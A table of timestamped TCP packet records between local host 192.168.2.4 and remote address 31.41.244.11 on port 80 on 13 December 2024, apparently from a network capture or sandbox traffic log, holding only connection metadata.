Dec 13, 2024 01:51:10.373323917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.373383999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.375463963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.375533104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.375616074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.375675917 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.377650976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.377717018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.377759933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.377818108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.379801035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.379915953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.379957914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.380009890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.382019043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.382085085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.382128000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.382185936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.384217978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.384278059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.384311914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.384366989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.386281967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.386353016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.386389971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.386446953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.388423920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.388484001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.388509035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.388565063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.390505075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.390566111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.390608072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.390685081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.392560959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.392618895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.392687082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.392741919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.394623995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.394680977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.394762039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.394815922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.396657944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.396722078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.396799088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.396861076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.398711920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.398766041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.398843050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.398899078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.400696039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.400753975 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.400815010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.400904894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.402690887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.402748108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.402812004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.402867079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.404748917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.404804945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.404819012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.404875040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.406708002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.406766891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.406845093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.406899929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.409499884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.409517050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.409588099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.409588099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.410657883 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.410718918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.410749912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.410806894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.412668943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.412728071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.412789106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.412843943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.414704084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.414762974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.414802074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.414855003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.416646957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.416702986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.416765928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.416820049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.418664932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.418715954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.418756962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.418803930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.420675993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.420732021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.420813084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.420864105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.422643900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.422712088 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.422770023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.422847033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.426204920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.426220894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.426295996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.426620960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.426711082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.427073002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.427148104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.429055929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.429073095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.429136038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.430803061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.430819035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.430860043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.432704926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.432754993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.432904959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.432957888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.434771061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.434797049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.434823036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.434842110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.436791897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.436842918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.436944008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.436989069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.438824892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.438884974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.439003944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.439062119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.440713882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.440732002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.440773964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.440798044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.442610979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.442679882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.442723989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.442781925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.445359945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.445388079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.445416927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.445439100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.446886063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.446902990 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.446940899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.446969986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.448604107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.448661089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.448688030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.448739052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.450563908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.450627089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.450685978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.450737953 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.452574015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.452630997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.452687025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.452739954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.454536915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.454596996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.537450075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.537512064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.537705898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.538006067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.538070917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.538103104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.538141966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.539546013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.539599895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.539619923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.539663076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.540749073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.540859938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.540874004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.540913105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.542196989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.542263985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.542314053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.542376995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.543627977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.543693066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.543775082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.543834925 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.545098066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.545165062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.545177937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.545237064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.546463966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.546528101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.546588898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.546679020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.547858000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.547929049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.547970057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.548074007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.549261093 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.549331903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.549375057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.549437046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.550651073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.550745010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.550759077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.550812960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.551997900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.552057981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.552115917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.552170992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.553356886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.553415060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.553484917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.553539038 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.554658890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.554723024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.554784060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.554836988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.555993080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.556049109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.556117058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.556169987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.557343006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.557396889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.557398081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.557449102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.558597088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.558705091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.558734894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.558784008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.559885979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.559946060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.560019016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.560072899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.561213017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.561269045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.561404943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.561460018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.562500954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.562558889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.562623978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.562676907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.563736916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.563795090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.563867092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.563920021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.565036058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.565093994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.565169096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.565222025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.566267014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.566323042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.566387892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.566440105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.567517042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.567575932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.567643881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.567698956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.568744898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.568804979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.568873882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.568969011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.570002079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.570060015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.570126057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.570180893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.571214914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.571271896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.571350098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.571403027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.572429895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.572487116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.572549105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.572602987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.573641062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.573697090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.573776960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.573828936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.574932098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.574986935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.575135946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.575192928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.576081991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.576142073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.576209068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.576261997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.577315092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.577374935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.577408075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.577461958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.578437090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.578494072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.578569889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.578624010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.579637051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.579696894 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.579770088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.579866886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.580836058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.580899954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.580965042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.581022978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.582010984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.582072973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.582149029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.582206964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.583218098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.583280087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.583345890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.583456993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.584450006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.584522963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.584548950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.584608078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.585639954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.585702896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.585752010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.585810900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.586806059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.586865902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.586950064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.587007999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.588010073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.588071108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.588123083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.588180065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.589215994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.589283943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.589287996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.589344978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.590388060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.590450048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.590531111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.590636015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.591592073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.591655016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.591722012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.591778040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.592767000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.592828035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.592895031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.592952013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.593961000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.594022989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.594093084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.594151020 CET	49765	80	192.168.2.4	31.41.244.11
